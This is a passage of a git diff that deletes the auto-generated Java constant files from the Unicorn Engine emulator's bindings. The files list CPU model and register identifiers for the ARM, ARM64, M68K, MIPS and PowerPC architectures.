static final int UC_ARM64_REG_W12 = 180; - public static final int UC_ARM64_REG_W13 = 181; - public static final int UC_ARM64_REG_W14 = 182; - public static final int UC_ARM64_REG_W15 = 183; - public static final int UC_ARM64_REG_W16 = 184; - public static final int UC_ARM64_REG_W17 = 185; - public static final int UC_ARM64_REG_W18 = 186; - public static final int UC_ARM64_REG_W19 = 187; - public static final int UC_ARM64_REG_W20 = 188; - public static final int UC_ARM64_REG_W21 = 189; - public static final int UC_ARM64_REG_W22 = 190; - public static final int UC_ARM64_REG_W23 = 191; - public static final int UC_ARM64_REG_W24 = 192; - public static final int UC_ARM64_REG_W25 = 193; - public static final int UC_ARM64_REG_W26 = 194; - public static final int UC_ARM64_REG_W27 = 195; - public static final int UC_ARM64_REG_W28 = 196; - public static final int UC_ARM64_REG_W29 = 197; - public static final int UC_ARM64_REG_W30 = 198; - public static final int UC_ARM64_REG_X0 = 199; - public static final int UC_ARM64_REG_X1 = 200; - public static final int UC_ARM64_REG_X2 = 201; - public static final int UC_ARM64_REG_X3 = 202; - public static final int UC_ARM64_REG_X4 = 203; - public static final int UC_ARM64_REG_X5 = 204; - public static final int UC_ARM64_REG_X6 = 205; - public static final int UC_ARM64_REG_X7 = 206; - public static final int UC_ARM64_REG_X8 = 207; - public static final int UC_ARM64_REG_X9 = 208; - public static final int UC_ARM64_REG_X10 = 209; - public static final int UC_ARM64_REG_X11 = 210; - public static final int UC_ARM64_REG_X12 = 211; - public static final int UC_ARM64_REG_X13 = 212; - public static final int UC_ARM64_REG_X14 = 213; - public static final int UC_ARM64_REG_X15 = 214; - public static final int UC_ARM64_REG_X16 = 215; - public static final int UC_ARM64_REG_X17 = 216; - public static final int UC_ARM64_REG_X18 = 217; - public static final int UC_ARM64_REG_X19 = 218; - public static final int UC_ARM64_REG_X20 = 219; - public static final int UC_ARM64_REG_X21 = 220; - public static final int UC_ARM64_REG_X22 = 221; - public static final int UC_ARM64_REG_X23 = 222; - public static final int UC_ARM64_REG_X24 = 223; - public static final int UC_ARM64_REG_X25 = 224; - public static final int UC_ARM64_REG_X26 = 225; - public static final int UC_ARM64_REG_X27 = 226; - public static final int UC_ARM64_REG_X28 = 227; - public static final int UC_ARM64_REG_V0 = 228; - public static final int UC_ARM64_REG_V1 = 229; - public static final int UC_ARM64_REG_V2 = 230; - public static final int UC_ARM64_REG_V3 = 231; - public static final int UC_ARM64_REG_V4 = 232; - public static final int UC_ARM64_REG_V5 = 233; - public static final int UC_ARM64_REG_V6 = 234; - public static final int UC_ARM64_REG_V7 = 235; - public static final int UC_ARM64_REG_V8 = 236; - public static final int UC_ARM64_REG_V9 = 237; - public static final int UC_ARM64_REG_V10 = 238; - public static final int UC_ARM64_REG_V11 = 239; - public static final int UC_ARM64_REG_V12 = 240; - public static final int UC_ARM64_REG_V13 = 241; - public static final int UC_ARM64_REG_V14 = 242; - public static final int UC_ARM64_REG_V15 = 243; - public static final int UC_ARM64_REG_V16 = 244; - public static final int UC_ARM64_REG_V17 = 245; - public static final int UC_ARM64_REG_V18 = 246; - public static final int UC_ARM64_REG_V19 = 247; - public static final int UC_ARM64_REG_V20 = 248; - public static final int UC_ARM64_REG_V21 = 249; - public static final int UC_ARM64_REG_V22 = 250; - public static final int UC_ARM64_REG_V23 = 251; - public static final int UC_ARM64_REG_V24 = 252; - public static final int UC_ARM64_REG_V25 = 253; - public static final int UC_ARM64_REG_V26 = 254; - public static final int UC_ARM64_REG_V27 = 255; - public static final int UC_ARM64_REG_V28 = 256; - public static final int UC_ARM64_REG_V29 = 257; - public static final int UC_ARM64_REG_V30 = 258; - public static final int UC_ARM64_REG_V31 = 259; - -// pseudo registers - public static final int UC_ARM64_REG_PC = 260; - public static final int UC_ARM64_REG_CPACR_EL1 = 261; - -// thread registers, depreciated, use UC_ARM64_REG_CP_REG instead - public static final int UC_ARM64_REG_TPIDR_EL0 = 262; - public static final int UC_ARM64_REG_TPIDRRO_EL0 = 263; - public static final int UC_ARM64_REG_TPIDR_EL1 = 264; - public static final int UC_ARM64_REG_PSTATE = 265; - -// exception link registers, depreciated, use UC_ARM64_REG_CP_REG instead - public static final int UC_ARM64_REG_ELR_EL0 = 266; - public static final int UC_ARM64_REG_ELR_EL1 = 267; - public static final int UC_ARM64_REG_ELR_EL2 = 268; - public static final int UC_ARM64_REG_ELR_EL3 = 269; - -// stack pointers registers, depreciated, use UC_ARM64_REG_CP_REG instead - public static final int UC_ARM64_REG_SP_EL0 = 270; - public static final int UC_ARM64_REG_SP_EL1 = 271; - public static final int UC_ARM64_REG_SP_EL2 = 272; - public static final int UC_ARM64_REG_SP_EL3 = 273; - -// other CP15 registers, depreciated, use UC_ARM64_REG_CP_REG instead - public static final int UC_ARM64_REG_TTBR0_EL1 = 274; - public static final int UC_ARM64_REG_TTBR1_EL1 = 275; - public static final int UC_ARM64_REG_ESR_EL0 = 276; - public static final int UC_ARM64_REG_ESR_EL1 = 277; - public static final int UC_ARM64_REG_ESR_EL2 = 278; - public static final int UC_ARM64_REG_ESR_EL3 = 279; - public static final int UC_ARM64_REG_FAR_EL0 = 280; - public static final int UC_ARM64_REG_FAR_EL1 = 281; - public static final int UC_ARM64_REG_FAR_EL2 = 282; - public static final int UC_ARM64_REG_FAR_EL3 = 283; - public static final int UC_ARM64_REG_PAR_EL1 = 284; - public static final int UC_ARM64_REG_MAIR_EL1 = 285; - public static final int UC_ARM64_REG_VBAR_EL0 = 286; - public static final int UC_ARM64_REG_VBAR_EL1 = 287; - public static final int UC_ARM64_REG_VBAR_EL2 = 288; - public static final int UC_ARM64_REG_VBAR_EL3 = 289; - public static final int UC_ARM64_REG_CP_REG = 290; - -// floating point control and status registers - public static final int UC_ARM64_REG_FPCR = 291; - public static final int UC_ARM64_REG_FPSR = 292; - public static final int UC_ARM64_REG_ENDING = 293; - -// alias registers - public static final int UC_ARM64_REG_IP0 = 215; - public static final int UC_ARM64_REG_IP1 = 216; - public static final int UC_ARM64_REG_FP = 1; - public static final int UC_ARM64_REG_LR = 2; - -// ARM64 instructions - - public static final int UC_ARM64_INS_INVALID = 0; - public static final int UC_ARM64_INS_MRS = 1; - public static final int UC_ARM64_INS_MSR = 2; - public static final int UC_ARM64_INS_SYS = 3; - public static final int UC_ARM64_INS_SYSL = 4; - public static final int UC_ARM64_INS_ENDING = 5; - -} diff --git a/bindings/java/unicorn/ArmConst.java b/bindings/java/unicorn/ArmConst.java deleted file mode 100644 index 0b56d0725d..0000000000 --- a/bindings/java/unicorn/ArmConst.java +++ /dev/null @@ -1,198 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface ArmConst { - -// ARM CPU - - public static final int UC_CPU_ARM_926 = 0; - public static final int UC_CPU_ARM_946 = 1; - public static final int UC_CPU_ARM_1026 = 2; - public static final int UC_CPU_ARM_1136_R2 = 3; - public static final int UC_CPU_ARM_1136 = 4; - public static final int UC_CPU_ARM_1176 = 5; - public static final int UC_CPU_ARM_11MPCORE = 6; - public static final int UC_CPU_ARM_CORTEX_M0 = 7; - public static final int UC_CPU_ARM_CORTEX_M3 = 8; - public static final int UC_CPU_ARM_CORTEX_M4 = 9; - public static final int UC_CPU_ARM_CORTEX_M7 = 10; - public static final int UC_CPU_ARM_CORTEX_M33 = 11; - public static final int UC_CPU_ARM_CORTEX_R5 = 12; - public static final int UC_CPU_ARM_CORTEX_R5F = 13; - public static final int UC_CPU_ARM_CORTEX_A7 = 14; - public static final int UC_CPU_ARM_CORTEX_A8 = 15; - public static final int UC_CPU_ARM_CORTEX_A9 = 16; - public static final int UC_CPU_ARM_CORTEX_A15 = 17; - public static final int UC_CPU_ARM_TI925T = 18; - public static final int UC_CPU_ARM_SA1100 = 19; - public static final int UC_CPU_ARM_SA1110 = 20; - public static final int UC_CPU_ARM_PXA250 = 21; - public static final int UC_CPU_ARM_PXA255 = 22; - public static final int UC_CPU_ARM_PXA260 = 23; - public static final int UC_CPU_ARM_PXA261 = 24; - public static final int UC_CPU_ARM_PXA262 = 25; - public static final int UC_CPU_ARM_PXA270 = 26; - public static final int UC_CPU_ARM_PXA270A0 = 27; - public static final int UC_CPU_ARM_PXA270A1 = 28; - public static final int UC_CPU_ARM_PXA270B0 = 29; - public static final int UC_CPU_ARM_PXA270B1 = 30; - public static final int UC_CPU_ARM_PXA270C0 = 31; - public static final int UC_CPU_ARM_PXA270C5 = 32; - public static final int UC_CPU_ARM_MAX = 33; - public static final int UC_CPU_ARM_ENDING = 34; - -// ARM registers - - public static final int UC_ARM_REG_INVALID = 0; - public static final int UC_ARM_REG_APSR = 1; - public static final int UC_ARM_REG_APSR_NZCV = 2; - public static final int UC_ARM_REG_CPSR = 3; - public static final int UC_ARM_REG_FPEXC = 4; - public static final int UC_ARM_REG_FPINST = 5; - public static final int UC_ARM_REG_FPSCR = 6; - public static final int UC_ARM_REG_FPSCR_NZCV = 7; - public static final int UC_ARM_REG_FPSID = 8; - public static final int UC_ARM_REG_ITSTATE = 9; - public static final int UC_ARM_REG_LR = 10; - public static final int UC_ARM_REG_PC = 11; - public static final int UC_ARM_REG_SP = 12; - public static final int UC_ARM_REG_SPSR = 13; - public static final int UC_ARM_REG_D0 = 14; - public static final int UC_ARM_REG_D1 = 15; - public static final int UC_ARM_REG_D2 = 16; - public static final int UC_ARM_REG_D3 = 17; - public static final int UC_ARM_REG_D4 = 18; - public static final int UC_ARM_REG_D5 = 19; - public static final int UC_ARM_REG_D6 = 20; - public static final int UC_ARM_REG_D7 = 21; - public static final int UC_ARM_REG_D8 = 22; - public static final int UC_ARM_REG_D9 = 23; - public static final int UC_ARM_REG_D10 = 24; - public static final int UC_ARM_REG_D11 = 25; - public static final int UC_ARM_REG_D12 = 26; - public static final int UC_ARM_REG_D13 = 27; - public static final int UC_ARM_REG_D14 = 28; - public static final int UC_ARM_REG_D15 = 29; - public static final int UC_ARM_REG_D16 = 30; - public static final int UC_ARM_REG_D17 = 31; - public static final int UC_ARM_REG_D18 = 32; - public static final int UC_ARM_REG_D19 = 33; - public static final int UC_ARM_REG_D20 = 34; - public static final int UC_ARM_REG_D21 = 35; - public static final int UC_ARM_REG_D22 = 36; - public static final int UC_ARM_REG_D23 = 37; - public static final int UC_ARM_REG_D24 = 38; - public static final int UC_ARM_REG_D25 = 39; - public static final int UC_ARM_REG_D26 = 40; - public static final int UC_ARM_REG_D27 = 41; - public static final int UC_ARM_REG_D28 = 42; - public static final int UC_ARM_REG_D29 = 43; - public static final int UC_ARM_REG_D30 = 44; - public static final int UC_ARM_REG_D31 = 45; - public static final int UC_ARM_REG_FPINST2 = 46; - public static final int UC_ARM_REG_MVFR0 = 47; - public static final int UC_ARM_REG_MVFR1 = 48; - public static final int UC_ARM_REG_MVFR2 = 49; - public static final int UC_ARM_REG_Q0 = 50; - public static final int UC_ARM_REG_Q1 = 51; - public static final int UC_ARM_REG_Q2 = 52; - public static final int UC_ARM_REG_Q3 = 53; - public static final int UC_ARM_REG_Q4 = 54; - public static final int UC_ARM_REG_Q5 = 55; - public static final int UC_ARM_REG_Q6 = 56; - public static final int UC_ARM_REG_Q7 = 57; - public static final int UC_ARM_REG_Q8 = 58; - public static final int UC_ARM_REG_Q9 = 59; - public static final int UC_ARM_REG_Q10 = 60; - public static final int UC_ARM_REG_Q11 = 61; - public static final int UC_ARM_REG_Q12 = 62; - public static final int UC_ARM_REG_Q13 = 63; - public static final int UC_ARM_REG_Q14 = 64; - public static final int UC_ARM_REG_Q15 = 65; - public static final int UC_ARM_REG_R0 = 66; - public static final int UC_ARM_REG_R1 = 67; - public static final int UC_ARM_REG_R2 = 68; - public static final int UC_ARM_REG_R3 = 69; - public static final int UC_ARM_REG_R4 = 70; - public static final int UC_ARM_REG_R5 = 71; - public static final int UC_ARM_REG_R6 = 72; - public static final int UC_ARM_REG_R7 = 73; - public static final int UC_ARM_REG_R8 = 74; - public static final int UC_ARM_REG_R9 = 75; - public static final int UC_ARM_REG_R10 = 76; - public static final int UC_ARM_REG_R11 = 77; - public static final int UC_ARM_REG_R12 = 78; - public static final int UC_ARM_REG_S0 = 79; - public static final int UC_ARM_REG_S1 = 80; - public static final int UC_ARM_REG_S2 = 81; - public static final int UC_ARM_REG_S3 = 82; - public static final int UC_ARM_REG_S4 = 83; - public static final int UC_ARM_REG_S5 = 84; - public static final int UC_ARM_REG_S6 = 85; - public static final int UC_ARM_REG_S7 = 86; - public static final int UC_ARM_REG_S8 = 87; - public static final int UC_ARM_REG_S9 = 88; - public static final int UC_ARM_REG_S10 = 89; - public static final int UC_ARM_REG_S11 = 90; - public static final int UC_ARM_REG_S12 = 91; - public static final int UC_ARM_REG_S13 = 92; - public static final int UC_ARM_REG_S14 = 93; - public static final int UC_ARM_REG_S15 = 94; - public static final int UC_ARM_REG_S16 = 95; - public static final int UC_ARM_REG_S17 = 96; - public static final int UC_ARM_REG_S18 = 97; - public static final int UC_ARM_REG_S19 = 98; - public static final int UC_ARM_REG_S20 = 99; - public static final int UC_ARM_REG_S21 = 100; - public static final int UC_ARM_REG_S22 = 101; - public static final int UC_ARM_REG_S23 = 102; - public static final int UC_ARM_REG_S24 = 103; - public static final int UC_ARM_REG_S25 = 104; - public static final int UC_ARM_REG_S26 = 105; - public static final int UC_ARM_REG_S27 = 106; - public static final int UC_ARM_REG_S28 = 107; - public static final int UC_ARM_REG_S29 = 108; - public static final int UC_ARM_REG_S30 = 109; - public static final int UC_ARM_REG_S31 = 110; - public static final int UC_ARM_REG_C1_C0_2 = 111; - public static final int UC_ARM_REG_C13_C0_2 = 112; - public static final int UC_ARM_REG_C13_C0_3 = 113; - public static final int UC_ARM_REG_IPSR = 114; - public static final int UC_ARM_REG_MSP = 115; - public static final int UC_ARM_REG_PSP = 116; - public static final int UC_ARM_REG_CONTROL = 117; - public static final int UC_ARM_REG_IAPSR = 118; - public static final int UC_ARM_REG_EAPSR = 119; - public static final int UC_ARM_REG_XPSR = 120; - public static final int UC_ARM_REG_EPSR = 121; - public static final int UC_ARM_REG_IEPSR = 122; - public static final int UC_ARM_REG_PRIMASK = 123; - public static final int UC_ARM_REG_BASEPRI = 124; - public static final int UC_ARM_REG_BASEPRI_MAX = 125; - public static final int UC_ARM_REG_FAULTMASK = 126; - public static final int UC_ARM_REG_APSR_NZCVQ = 127; - public static final int UC_ARM_REG_APSR_G = 128; - public static final int UC_ARM_REG_APSR_NZCVQG = 129; - public static final int UC_ARM_REG_IAPSR_NZCVQ = 130; - public static final int UC_ARM_REG_IAPSR_G = 131; - public static final int UC_ARM_REG_IAPSR_NZCVQG = 132; - public static final int UC_ARM_REG_EAPSR_NZCVQ = 133; - public static final int UC_ARM_REG_EAPSR_G = 134; - public static final int UC_ARM_REG_EAPSR_NZCVQG = 135; - public static final int UC_ARM_REG_XPSR_NZCVQ = 136; - public static final int UC_ARM_REG_XPSR_G = 137; - public static final int UC_ARM_REG_XPSR_NZCVQG = 138; - public static final int UC_ARM_REG_CP_REG = 139; - public static final int UC_ARM_REG_ENDING = 140; - -// alias registers - public static final int UC_ARM_REG_R13 = 12; - public static final int UC_ARM_REG_R14 = 10; - public static final int UC_ARM_REG_R15 = 11; - public static final int UC_ARM_REG_SB = 75; - public static final int UC_ARM_REG_SL = 76; - public static final int UC_ARM_REG_FP = 77; - public static final int UC_ARM_REG_IP = 78; - -} diff --git a/bindings/java/unicorn/M68kConst.java b/bindings/java/unicorn/M68kConst.java deleted file mode 100644 index 17e80e7cf9..0000000000 --- a/bindings/java/unicorn/M68kConst.java +++ /dev/null @@ -1,43 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface M68kConst { - -// M68K CPU - - public static final int UC_CPU_M68K_M5206 = 0; - public static final int UC_CPU_M68K_M68000 = 1; - public static final int UC_CPU_M68K_M68020 = 2; - public static final int UC_CPU_M68K_M68030 = 3; - public static final int UC_CPU_M68K_M68040 = 4; - public static final int UC_CPU_M68K_M68060 = 5; - public static final int UC_CPU_M68K_M5208 = 6; - public static final int UC_CPU_M68K_CFV4E = 7; - public static final int UC_CPU_M68K_ANY = 8; - public static final int UC_CPU_M68K_ENDING = 9; - -// M68K registers - - public static final int UC_M68K_REG_INVALID = 0; - public static final int UC_M68K_REG_A0 = 1; - public static final int UC_M68K_REG_A1 = 2; - public static final int UC_M68K_REG_A2 = 3; - public static final int UC_M68K_REG_A3 = 4; - public static final int UC_M68K_REG_A4 = 5; - public static final int UC_M68K_REG_A5 = 6; - public static final int UC_M68K_REG_A6 = 7; - public static final int UC_M68K_REG_A7 = 8; - public static final int UC_M68K_REG_D0 = 9; - public static final int UC_M68K_REG_D1 = 10; - public static final int UC_M68K_REG_D2 = 11; - public static final int UC_M68K_REG_D3 = 12; - public static final int UC_M68K_REG_D4 = 13; - public static final int UC_M68K_REG_D5 = 14; - public static final int UC_M68K_REG_D6 = 15; - public static final int UC_M68K_REG_D7 = 16; - public static final int UC_M68K_REG_SR = 17; - public static final int UC_M68K_REG_PC = 18; - public static final int UC_M68K_REG_ENDING = 19; - -} diff --git a/bindings/java/unicorn/MipsConst.java b/bindings/java/unicorn/MipsConst.java deleted file mode 100644 index ecb6531491..0000000000 --- a/bindings/java/unicorn/MipsConst.java +++ /dev/null @@ -1,241 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface MipsConst { - -// MIPS32 CPUS - - public static final int UC_CPU_MIPS32_4KC = 0; - public static final int UC_CPU_MIPS32_4KM = 1; - public static final int UC_CPU_MIPS32_4KECR1 = 2; - public static final int UC_CPU_MIPS32_4KEMR1 = 3; - public static final int UC_CPU_MIPS32_4KEC = 4; - public static final int UC_CPU_MIPS32_4KEM = 5; - public static final int UC_CPU_MIPS32_24KC = 6; - public static final int UC_CPU_MIPS32_24KEC = 7; - public static final int UC_CPU_MIPS32_24KF = 8; - public static final int UC_CPU_MIPS32_34KF = 9; - public static final int UC_CPU_MIPS32_74KF = 10; - public static final int UC_CPU_MIPS32_M14K = 11; - public static final int UC_CPU_MIPS32_M14KC = 12; - public static final int UC_CPU_MIPS32_P5600 = 13; - public static final int UC_CPU_MIPS32_MIPS32R6_GENERIC = 14; - public static final int UC_CPU_MIPS32_I7200 = 15; - public static final int UC_CPU_MIPS32_ENDING = 16; - -// MIPS64 CPUS - - public static final int UC_CPU_MIPS64_R4000 = 0; - public static final int UC_CPU_MIPS64_VR5432 = 1; - public static final int UC_CPU_MIPS64_5KC = 2; - public static final int UC_CPU_MIPS64_5KF = 3; - public static final int UC_CPU_MIPS64_20KC = 4; - public static final int UC_CPU_MIPS64_MIPS64R2_GENERIC = 5; - public static final int UC_CPU_MIPS64_5KEC = 6; - public static final int UC_CPU_MIPS64_5KEF = 7; - public static final int UC_CPU_MIPS64_I6400 = 8; - public static final int UC_CPU_MIPS64_I6500 = 9; - public static final int UC_CPU_MIPS64_LOONGSON_2E = 10; - public static final int UC_CPU_MIPS64_LOONGSON_2F = 11; - public static final int UC_CPU_MIPS64_MIPS64DSPR2 = 12; - public static final int UC_CPU_MIPS64_ENDING = 13; - -// MIPS registers - - public static final int UC_MIPS_REG_INVALID = 0; - -// General purpose registers - public static final int UC_MIPS_REG_PC = 1; - public static final int UC_MIPS_REG_0 = 2; - public static final int UC_MIPS_REG_1 = 3; - public static final int UC_MIPS_REG_2 = 4; - public static final int UC_MIPS_REG_3 = 5; - public static final int UC_MIPS_REG_4 = 6; - public static final int UC_MIPS_REG_5 = 7; - public static final int UC_MIPS_REG_6 = 8; - public static final int UC_MIPS_REG_7 = 9; - public static final int UC_MIPS_REG_8 = 10; - public static final int UC_MIPS_REG_9 = 11; - public static final int UC_MIPS_REG_10 = 12; - public static final int UC_MIPS_REG_11 = 13; - public static final int UC_MIPS_REG_12 = 14; - public static final int UC_MIPS_REG_13 = 15; - public static final int UC_MIPS_REG_14 = 16; - public static final int UC_MIPS_REG_15 = 17; - public static final int UC_MIPS_REG_16 = 18; - public static final int UC_MIPS_REG_17 = 19; - public static final int UC_MIPS_REG_18 = 20; - public static final int UC_MIPS_REG_19 = 21; - public static final int UC_MIPS_REG_20 = 22; - public static final int UC_MIPS_REG_21 = 23; - public static final int UC_MIPS_REG_22 = 24; - public static final int UC_MIPS_REG_23 = 25; - public static final int UC_MIPS_REG_24 = 26; - public static final int UC_MIPS_REG_25 = 27; - public static final int UC_MIPS_REG_26 = 28; - public static final int UC_MIPS_REG_27 = 29; - public static final int UC_MIPS_REG_28 = 30; - public static final int UC_MIPS_REG_29 = 31; - public static final int UC_MIPS_REG_30 = 32; - public static final int UC_MIPS_REG_31 = 33; - -// DSP registers - public static final int UC_MIPS_REG_DSPCCOND = 34; - public static final int UC_MIPS_REG_DSPCARRY = 35; - public static final int UC_MIPS_REG_DSPEFI = 36; - public static final int UC_MIPS_REG_DSPOUTFLAG = 37; - public static final int UC_MIPS_REG_DSPOUTFLAG16_19 = 38; - public static final int UC_MIPS_REG_DSPOUTFLAG20 = 39; - public static final int UC_MIPS_REG_DSPOUTFLAG21 = 40; - public static final int UC_MIPS_REG_DSPOUTFLAG22 = 41; - public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42; - public static final int UC_MIPS_REG_DSPPOS = 43; - public static final int UC_MIPS_REG_DSPSCOUNT = 44; - -// ACC registers - public static final int UC_MIPS_REG_AC0 = 45; - public static final int UC_MIPS_REG_AC1 = 46; - public static final int UC_MIPS_REG_AC2 = 47; - public static final int UC_MIPS_REG_AC3 = 48; - -// COP registers - public static final int UC_MIPS_REG_CC0 = 49; - public static final int UC_MIPS_REG_CC1 = 50; - public static final int UC_MIPS_REG_CC2 = 51; - public static final int UC_MIPS_REG_CC3 = 52; - public static final int UC_MIPS_REG_CC4 = 53; - public static final int UC_MIPS_REG_CC5 = 54; - public static final int UC_MIPS_REG_CC6 = 55; - public static final int UC_MIPS_REG_CC7 = 56; - -// FPU registers - public static final int UC_MIPS_REG_F0 = 57; - public static final int UC_MIPS_REG_F1 = 58; - public static final int UC_MIPS_REG_F2 = 59; - public static final int UC_MIPS_REG_F3 = 60; - public static final int UC_MIPS_REG_F4 = 61; - public static final int UC_MIPS_REG_F5 = 62; - public static final int UC_MIPS_REG_F6 = 63; - public static final int UC_MIPS_REG_F7 = 64; - public static final int UC_MIPS_REG_F8 = 65; - public static final int UC_MIPS_REG_F9 = 66; - public static final int UC_MIPS_REG_F10 = 67; - public static final int UC_MIPS_REG_F11 = 68; - public static final int UC_MIPS_REG_F12 = 69; - public static final int UC_MIPS_REG_F13 = 70; - public static final int UC_MIPS_REG_F14 = 71; - public static final int UC_MIPS_REG_F15 = 72; - public static final int UC_MIPS_REG_F16 = 73; - public static final int UC_MIPS_REG_F17 = 74; - public static final int UC_MIPS_REG_F18 = 75; - public static final int UC_MIPS_REG_F19 = 76; - public static final int UC_MIPS_REG_F20 = 77; - public static final int UC_MIPS_REG_F21 = 78; - public static final int UC_MIPS_REG_F22 = 79; - public static final int UC_MIPS_REG_F23 = 80; - public static final int UC_MIPS_REG_F24 = 81; - public static final int UC_MIPS_REG_F25 = 82; - public static final int UC_MIPS_REG_F26 = 83; - public static final int UC_MIPS_REG_F27 = 84; - public static final int UC_MIPS_REG_F28 = 85; - public static final int UC_MIPS_REG_F29 = 86; - public static final int UC_MIPS_REG_F30 = 87; - public static final int UC_MIPS_REG_F31 = 88; - public static final int UC_MIPS_REG_FCC0 = 89; - public static final int UC_MIPS_REG_FCC1 = 90; - public static final int UC_MIPS_REG_FCC2 = 91; - public static final int UC_MIPS_REG_FCC3 = 92; - public static final int UC_MIPS_REG_FCC4 = 93; - public static final int UC_MIPS_REG_FCC5 = 94; - public static final int UC_MIPS_REG_FCC6 = 95; - public static final int UC_MIPS_REG_FCC7 = 96; - -// AFPR128 - public static final int UC_MIPS_REG_W0 = 97; - public static final int UC_MIPS_REG_W1 = 98; - public static final int UC_MIPS_REG_W2 = 99; - public static final int UC_MIPS_REG_W3 = 100; - public static final int UC_MIPS_REG_W4 = 101; - public static final int UC_MIPS_REG_W5 = 102; - public static final int UC_MIPS_REG_W6 = 103; - public static final int UC_MIPS_REG_W7 = 104; - public static final int UC_MIPS_REG_W8 = 105; - public static final int UC_MIPS_REG_W9 = 106; - public static final int UC_MIPS_REG_W10 = 107; - public static final int UC_MIPS_REG_W11 = 108; - public static final int UC_MIPS_REG_W12 = 109; - public static final int UC_MIPS_REG_W13 = 110; - public static final int UC_MIPS_REG_W14 = 111; - public static final int UC_MIPS_REG_W15 = 112; - public static final int UC_MIPS_REG_W16 = 113; - public static final int UC_MIPS_REG_W17 = 114; - public static final int UC_MIPS_REG_W18 = 115; - public static final int UC_MIPS_REG_W19 = 116; - public static final int UC_MIPS_REG_W20 = 117; - public static final int UC_MIPS_REG_W21 = 118; - public static final int UC_MIPS_REG_W22 = 119; - public static final int UC_MIPS_REG_W23 = 120; - public static final int UC_MIPS_REG_W24 = 121; - public static final int UC_MIPS_REG_W25 = 122; - public static final int UC_MIPS_REG_W26 = 123; - public static final int UC_MIPS_REG_W27 = 124; - public static final int UC_MIPS_REG_W28 = 125; - public static final int UC_MIPS_REG_W29 = 126; - public static final int UC_MIPS_REG_W30 = 127; - public static final int UC_MIPS_REG_W31 = 128; - public static final int UC_MIPS_REG_HI = 129; - public static final int UC_MIPS_REG_LO = 130; - public static final int UC_MIPS_REG_P0 = 131; - public static final int UC_MIPS_REG_P1 = 132; - public static final int UC_MIPS_REG_P2 = 133; - public static final int UC_MIPS_REG_MPL0 = 134; - public static final int UC_MIPS_REG_MPL1 = 135; - public static final int UC_MIPS_REG_MPL2 = 136; - public static final int UC_MIPS_REG_CP0_CONFIG3 = 137; - public static final int UC_MIPS_REG_CP0_USERLOCAL = 138; - public static final int UC_MIPS_REG_CP0_STATUS = 139; - public static final int UC_MIPS_REG_ENDING = 140; - public static final int UC_MIPS_REG_ZERO = 2; - public static final int UC_MIPS_REG_AT = 3; - public static final int UC_MIPS_REG_V0 = 4; - public static final int UC_MIPS_REG_V1 = 5; - public static final int UC_MIPS_REG_A0 = 6; - public static final int UC_MIPS_REG_A1 = 7; - public static final int UC_MIPS_REG_A2 = 8; - public static final int UC_MIPS_REG_A3 = 9; - public static final int UC_MIPS_REG_T0 = 10; - public static final int UC_MIPS_REG_T1 = 11; - public static final int UC_MIPS_REG_T2 = 12; - public static final int UC_MIPS_REG_T3 = 13; - public static final int UC_MIPS_REG_T4 = 14; - public static final int UC_MIPS_REG_T5 = 15; - public static final int UC_MIPS_REG_T6 = 16; - public static final int UC_MIPS_REG_T7 = 17; - public static final int UC_MIPS_REG_S0 = 18; - public static final int UC_MIPS_REG_S1 = 19; - public static final int UC_MIPS_REG_S2 = 20; - public static final int UC_MIPS_REG_S3 = 21; - public static final int UC_MIPS_REG_S4 = 22; - public static final int UC_MIPS_REG_S5 = 23; - public static final int UC_MIPS_REG_S6 = 24; - public static final int UC_MIPS_REG_S7 = 25; - public static final int UC_MIPS_REG_T8 = 26; - public static final int UC_MIPS_REG_T9 = 27; - public static final int UC_MIPS_REG_K0 = 28; - public static final int UC_MIPS_REG_K1 = 29; - public static final int UC_MIPS_REG_GP = 30; - public static final int UC_MIPS_REG_SP = 31; - public static final int UC_MIPS_REG_FP = 32; - public static final int UC_MIPS_REG_S8 = 32; - public static final int UC_MIPS_REG_RA = 33; - public static final int UC_MIPS_REG_HI0 = 45; - public static final int UC_MIPS_REG_HI1 = 46; - public static final int UC_MIPS_REG_HI2 = 47; - public static final int UC_MIPS_REG_HI3 = 48; - public static final int UC_MIPS_REG_LO0 = 45; - public static final int UC_MIPS_REG_LO1 = 46; - public static final int UC_MIPS_REG_LO2 = 47; - public static final int UC_MIPS_REG_LO3 = 48; - -} diff --git a/bindings/java/unicorn/PpcConst.java b/bindings/java/unicorn/PpcConst.java deleted file mode 100644 index 65ef72a1d0..0000000000 --- a/bindings/java/unicorn/PpcConst.java +++ /dev/null @@ -1,410 +0,0 @@ -// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT - -package unicorn; - -public interface PpcConst { - -// PPC CPU - - public static final int UC_CPU_PPC32_401 = 0; - public static final int UC_CPU_PPC32_401A1 = 1; - public static final int UC_CPU_PPC32_401B2 = 2; - public static final int UC_CPU_PPC32_401C2 = 3; - public static final int UC_CPU_PPC32_401D2 = 4; - public static final int UC_CPU_PPC32_401E2 = 5; - public static final int UC_CPU_PPC32_401F2 = 6; - public static final int UC_CPU_PPC32_401G2 = 7; - public static final int UC_CPU_PPC32_IOP480 = 8; - public static final int UC_CPU_PPC32_COBRA = 9; - public static final int UC_CPU_PPC32_403GA = 10; - public static final int UC_CPU_PPC32_403GB = 11; - public static final int UC_CPU_PPC32_403GC = 12; - public static final int UC_CPU_PPC32_403GCX = 13; - public static final int UC_CPU_PPC32_405D2 = 14; - public static final int UC_CPU_PPC32_405D4 = 15; - public static final int UC_CPU_PPC32_405CRA = 16; - public static final int UC_CPU_PPC32_405CRB = 17; - public static final int UC_CPU_PPC32_405CRC = 18; - public static final int UC_CPU_PPC32_405EP = 19; - public static final int UC_CPU_PPC32_405EZ = 20; - public static final int UC_CPU_PPC32_405GPA = 21; - public static final int UC_CPU_PPC32_405GPB = 22; - public static final int UC_CPU_PPC32_405GPC = 23; - public static final int UC_CPU_PPC32_405GPD = 24; - public static final int UC_CPU_PPC32_405GPR = 25; - public static final int UC_CPU_PPC32_405LP = 26; - public static final int UC_CPU_PPC32_NPE405H = 27; - public static final int UC_CPU_PPC32_NPE405H2 = 28; - public static final int UC_CPU_PPC32_NPE405L = 29; - public static final int UC_CPU_PPC32_NPE4GS3 = 30; - public static final int UC_CPU_PPC32_STB03 = 31; - public static final int UC_CPU_PPC32_STB04 = 32; - public static final int 